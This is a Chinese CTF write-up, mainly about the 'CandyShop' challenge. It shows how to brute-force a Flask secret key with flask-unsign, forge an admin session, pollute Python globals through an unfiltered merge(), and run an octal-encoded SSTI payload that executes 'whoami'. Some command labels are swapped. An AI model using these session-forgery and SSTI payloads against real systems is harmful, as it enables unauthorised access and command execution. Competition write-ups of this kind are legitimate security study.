SQLUP

登陆之后文件上传不多说

CandyShop

在比赛的时候以为这个是用条件竞争来写,我太傻了
赛后看了wp 发现SECRET_KEY竟然可以爆破出来
使用flask-unsign可以对key进行爆破
用法

1
2
3
4
5
6
-----------------------------加密
PS C:\Users\24882> flask-unsign -d -c ".eJwNy0sKgCAQANC7zLpFTqTWZWJ0xpDQwM8iorvn9sF7wdcSjnZfkmEHH3CxOHtjcWPSMqvgtCOFmp2xTM4gB8srTBBZcovtGevsUtugXqVkSjKIOMUM3w-UGR5A.Zt2O4Q.FR2Rf6GsDgArFUTCs69-3mqInJ8" -S "a123456"

-----------------------------解码

PS C:\Users\24882> flask-unsign -s -c "{'csrf_token': 'cf23820c7829da6e01fb6ba126db78dab72df8d5', 'identity': 'admin', 'username': 'admin'}" -S "a123456"

1
2
爆破
flask-unsign -u -c ".eJwNy0sKgCAQANC7zLpFTqTWZWJ0xpDQwM8iorvn9sF7wdcSjnZfkmEHH3CxOHtjcWPSMqvgtCOFmp2xTM4gB8srTBBZcovtGevsUtugXqVkSjKIOMUM3w-UGR5A.Zt2O4Q.FR2Rf6GsDgArFUTCs69-3mqInJ8"

经过爆破得出来key的值为a123456

那么我们就可以进行session伪造了
查看源码我们会发现admin路由下存在原型链污染
1
2
3
4
5
6
7
8
9
10
@app.route('/admin', methods=['GET', 'POST'])
def admin():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
admin = Admin()
merge(session, admin)
admin_user.append(admin)
return render_template('admin.html', view='index')

并且merge函数没有进行过滤。
那么我们可以先原型链污染一下sold来看一下secret.txt是什么
1
2
3
l
flask-unsign -s -c "{'csrf_token': 'cf23820c7829da6e01fb6ba126db78dab72df8d5', 'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold':503}}}" -S "a123456"


我们能读取到secret.txt的内容但是因为我这是赛后复现导致像这些文件的内容我只能通过wp来知晓。内容为 /tmp/xxxxxx/xxxxxx/flag
这就需要我们进行命令执行后寻找flag
经过待审我们会发现如下代码
1
2
3
4
5
6
7
8
9
10
11
12
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

我们会发现其不允许我们使用字母,但是我们可以使用[]+八进制的方法来进行ssti
最终payload如下
1
flask-unsign -s -c "{'csrf_token': 'cf23820c7829da6e01fb6ba126db78dab72df8d5', 'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold':'{{()[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\137\\137\'][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[161][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\50\\42\\157\\163\\42\\51\\56\\160\\157\\160\\145\\156\\50\\42\\167\\150\\157\\141\\155\\151\\42\\51\\56\\162\\145\\141\\144\\50\\51\')}}'}}}" -S "a123456"